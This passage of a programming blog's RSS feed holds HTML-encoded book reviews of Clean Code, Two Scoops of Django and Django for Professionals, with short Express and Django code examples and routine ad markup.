style=&#34;color:#5af78e&#34;&gt;&amp;#39;../middleware/auth&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; router &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;new&lt;/span&gt; express.Router()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router.get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;/users/me&amp;#39;&lt;/span&gt;, auth, &lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; (req, res) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    res.send(req.user)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To me, however, it doesn&amp;rsquo;t seem so serious or so difficult to read this little piece of code but perhaps it would be reason enough to be excommunicated from the church of Clean Code.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;what-didnt-i-like-about-clean-code&#34;&gt;What didn&amp;rsquo;t I like about Clean Code?&lt;/h2&gt;&#xA;&lt;p&gt;In what I consider an anachronism, the author uses Java to develop his examples. Yes, I know Java was incredibly popular before, but using pseudocode or C would have been a better choice.&lt;/p&gt;&#xA;&lt;p&gt;The code used for the examples seems rather stilted to me, it uses whole code snippets instead of a minimal example, the author of Refactoring does much better in this regard.&lt;/p&gt;&#xA;&lt;p&gt;I felt the book unnecessarily long, the examples are well detailed, but I don&amp;rsquo;t think so many pages are needed to expose some simple topics, such as variable naming.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;what-alternatives-do-exist-to-clean-code&#34;&gt;What alternatives do exist to Clean Code?&lt;/h2&gt;&#xA;&lt;p&gt;If you haven&amp;rsquo;t had any approach with good code writing practices I recommend you to give this book a read, because you can acquire some useful tips that you might not have considered, even if you don&amp;rsquo;t agree with all its content, the point is that you don&amp;rsquo;t stop there and complement it with more material.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/uncle-bob-clean-code-and-the-clean-code-paradigms/images/clean-and-maintanable-code-unquestionable-dogmas.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/uncle-bob-clean-code-and-the-clean-code-paradigms/images/clean-and-maintanable-code-unquestionable-dogmas.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Clean and unquestionable dogmas should be avoided at all cost&#34; width=&#34;600&#34; height=&#34;810&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;&lt;strong&gt;This book is not a manual that should be taken as an unbreakable regulation&lt;/strong&gt;, but the opinion of one person, but times change, rules improve and experience sets new guidelines. Take all the advice that will improve your code and question everything that you think can be improved. All religions have their detractors and Clean Code is no exception.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Uncle Bob&lt;/em&gt; proposes SOLID as a philosophy to follow, but you should know that it is not the only one, I leave you some interesting alternatives that can complement your vision and to give you a more complete view of this topic:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://speakerdeck.com/tastapod/cupid-for-joyful-coding?slide=9&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;CUPID&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;A Philosophy of Software Design by John Ousterhout.&lt;/li&gt;&#xA;&lt;li&gt;The Art of Readable Code&lt;/li&gt;&#xA;&lt;li&gt;Refactoring to Patterns by Joshua Kerievsky&lt;/li&gt;&#xA;&lt;li&gt;Refactoring by Kent Beck and Martin Fowler&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;By the way, the other day I found on Twitter a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/ryanmcdermott/clean-code-javascript&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;summary of Clean Code concepts with examples in Javascript&lt;/a&gt;&#xA; so you can take a look at the content of the book before deciding whether to buy it or not.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;There are two types of programmers, those who hate Clean Code and those who love it. This book sparks heated discussions on the internet; some consider it a bible that prophesies better times with clean and tidy code, others consider it an outdated manual written by a self-proclaimed pedantic dictator about how to write code. Well, to be honest, a bit of both. This post is my humble take on the book Clean Code by Robert C. Martin, the &lt;strong&gt;creator of the widely known acronym SOLID&lt;/strong&gt; and also known as the &lt;em&gt;uncle bob&lt;/em&gt;.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>The best Django book, Two Scoops of Django review</title>
      <link>https://coffeebytes.dev/en/django/the-best-django-book-two-scoops-of-django-review/</link>
      <pubDate>Sat, 02 May 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/the-best-django-book-two-scoops-of-django-review/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;This post is a review of Two scoops of Django, what I consider &lt;strong&gt;the best Django book&lt;/strong&gt;. It&amp;rsquo;s a total must-have book if you&amp;rsquo;re into application development using Django. You&amp;rsquo;ve probably already heard of it, as it&amp;rsquo;s a pretty popular book among English-speaking developers.&lt;/p&gt;&#xA;&lt;p&gt;This is one of those books that have personality, from the moment you pick it up and see the ice cream illustrations on the cover you know that the authors have put all the effort possible to make it worth every penny you paid for it. In addition, each chapter of the book is accompanied by nice ice cream illustrations, which will make reading more enjoyable and will help you remember the content.&lt;/p&gt;&#xA;&lt;h2 id=&#34;this-is-a-book-for-intermediateadvanced-users&#34;&gt;This is a book for intermediate/advanced users.&lt;/h2&gt;&#xA;&lt;p&gt;Two Scoops of Django does not attempt to teach you the general workings of Django, nor does it pretend to be a step-by-step tutorial for creating a project. Two Scoops of Django is a manual of Django best practices that goes from the homogenization of folder arrangement to the deployment of applications using automated systems, including tips and best practices in the use of models, functions, urls, templates, etc.&lt;/p&gt;&#xA;&lt;p&gt;However, this is not a book for those who are looking for a first contact with Django. The book assumes that this is not your first time using Django or Python and that you understand the whole process that happens from the time you start writing Django code until you get it to a server. The authors will show you the best practices that they have acquired over the years, and show you the anti-patterns that, they believe, you should avoid.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;contents-of-two-scoops-of-django&#34;&gt;Contents of Two Scoops of Django&lt;/h2&gt;&#xA;&lt;p&gt;The agenda of the book is quite complete and you can be sure that you touch all the important issues. Here is a list of some of the topics covered in the book:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When to use denormalization in your database&lt;/li&gt;&#xA;&lt;li&gt;Ways to structure the folders of your project&lt;/li&gt;&#xA;&lt;li&gt;How to handle version changes in an API&lt;/li&gt;&#xA;&lt;li&gt;How to optimize database queries&lt;/li&gt;&#xA;&lt;li&gt;Organizing your Pip dependencies&#xA;What to do when you can&amp;rsquo;t handle environment variables in your development system * Proper use of logging to monitor your development system&#xA;Correct use of logging to monitor events * How to use logging correctly to monitor events&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;To end the book, the authors will share with you the libraries they use in each of their developments as part of their workflow and sorted by topic, some of them are: python-magic, circus, django-kevin, Twine, django-watson, etc. Their recommendations also extend to books; another section of the appendix lists the Django and Python books recommended by the authors, organized by level; basic or intermediate/advanced.&lt;/p&gt;&#xA;&lt;h2 id=&#34;the-central-focus-of-the-book-is-best-practices&#34;&gt;The central focus of the book is best practices.&lt;/h2&gt;&#xA;&lt;p&gt;As I mentioned, the book focuses on Django best practices. To give you a little taste of what you will find in the book, here are some examples based on the recommendations you can find inside the book.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# DON&amp;#39;T DO THIS&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; models.gamer &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Gamer&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gamers_to_email &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; []&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; gamer &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; Gamer&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;iterate():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; gamer&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;games_bought &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; gamer&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;finished_games:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        gamers_to_email&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;append(gamer)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Is it obvious why this is not good practice? Now take a look at this one:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# DON&amp;#39;T DO THIS&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.forms &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This one here is quite similar to an example that appears in the Django documentation&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# DON&amp;#39;T DO THIS&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;videogame_display&lt;/span&gt;(request, videogame_id):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    videogame &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; get_object_or_404(Videogame, &lt;span style=&#34;color:#ff5c57&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;videogame_id)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    date &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; timezone&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;now()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; render(request, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;videogame_display.html&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#ff5c57&#34;&gt;locals&lt;/span&gt;())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;The above examples represent pieces of &lt;strong&gt;fully functional&lt;/strong&gt; code, but which, due to their structure, may cause bugs, poor performance, more serious problems in the future or simply represent friction in the code development process.&lt;/p&gt;&#xA;&lt;h2 id=&#34;a-book-that-is-constantly-updated&#34;&gt;A book that is constantly updated&lt;/h2&gt;&#xA;&lt;p&gt;Many authors of Django books abandon their works and, over the years, they become outdated (as happened to The Definitive Guide to Django). The authors of this book do not fall into this category, they constantly update the content of their work and make updated versions available from time to time. Right now &lt;del&gt;they are working on&lt;/del&gt; the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.feldroy.com/products/two-scoops-of-django-3-x&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;alpha version for Django 3.0&lt;/a&gt;&#xA; of this same book is already available and will be around for a long time.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Recommended prerequisite knowledge:&lt;/strong&gt; HTML, CSS, Python, Django, REST, Database&#xA;&lt;strong&gt;Recommended to read:&lt;/strong&gt; 10/10&#xA;&lt;strong&gt;Languages:&lt;/strong&gt; English, Spanish (Will be available for the latest version)&lt;/p&gt;&#xA;&lt;p&gt;If you want to read about more books to learn Django go to my &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/django-for-professionals-review/&#34;&gt;review of Django for Professionals&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;This post is a review of Two scoops of Django, what I consider &lt;strong&gt;the best Django book&lt;/strong&gt;. It&amp;rsquo;s a total must-have book if you&amp;rsquo;re into application development using Django. You&amp;rsquo;ve probably already heard of it, as it&amp;rsquo;s a pretty popular book among English-speaking developers.&lt;/p&gt;&#xA;&lt;p&gt;This is one of those books that have personality, from the moment you pick it up and see the ice cream illustrations on the cover you know that the authors have put all the effort possible to make it worth every penny you paid for it. In addition, each chapter of the book is accompanied by nice ice cream illustrations, which will make reading more enjoyable and will help you remember the content.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Django for Professionals&#39; review</title>
      <link>https://coffeebytes.dev/en/django/django-for-professionals-review/</link>
      <pubDate>Wed, 15 Apr 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/django-for-professionals-review/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Some time ago, while searching for information about Django on the internet I came across a very good &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://djangochat.com/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;weekly podcast called Django chats&lt;/a&gt;&#xA;. The author, named William S. Vincent, talks about Django and interviews developers related to this web development framework. Besides running his podcast religiously, William S. Vincent also writes books about Django. One of them is Django for Professionals, which is &lt;strong&gt;one of the best modern Django books&lt;/strong&gt; I&amp;rsquo;ve read so far. This book is part of a trilogy about Django. If you know English take a spin on the author&amp;rsquo;s Django podcast, you&amp;rsquo;ll find a lot of great content about Django and purchase links to his three books:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Django for beginners&lt;/li&gt;&#xA;&lt;li&gt;Django for APIs&lt;/li&gt;&#xA;&lt;li&gt;Django for professionals&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;If you don&amp;rsquo;t know the advantages and disadvantages that Django offers, visit my post where I explain some &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;advantages and disadvantages of Django&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;a-bit-of-modern-django-for-professionals&#34;&gt;A bit of modern Django for professionals&lt;/h2&gt;&#xA;&lt;p&gt;This book is constantly being updated to the most modern version of Django at the time of writing. Django for professionals will present the topics covered from the development of a bookstore project. The development of this application will be done using the following technologies; Docker, to standardize the development environments; Git, for version control; Stripe, for payments; Postgres, for the database; and Heroku; to perform the deployment.&lt;/p&gt;&#xA;&lt;p&gt;One feature of the book that I would like to highlight is the writing of tests of the progress made throughout each chapter, this is something that I have seen &lt;strong&gt;in few books&lt;/strong&gt; and that I believe should &lt;strong&gt;become the norm&lt;/strong&gt; in all programming books. If you are unaware of the purpose of the tests or consider them unnecessary, give me a chance to try to convince you otherwise in my post on &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/unittest-python-are-python-tests-worthwhile/&#34;&gt;Python unnitest and testing&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;my-opinion-about-django-for-professionals&#34;&gt;My opinion about Django for Professionals&lt;/h2&gt;&#xA;&lt;p&gt;Regarding the content, it seems to me that it lacks a little more depth in the deploy and take into account other options, apart from Heroku. It also does not mention Django Rest Framework or Graphene, although this could be because they are covered in his other book: Django for APIS. I feel that, for a Django book for professionals, it does not go deep enough into the framework.&lt;/p&gt;&#xA;&lt;p&gt;If you are looking for a book that delves into Django in depth at the code level, this is not your book, try &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; 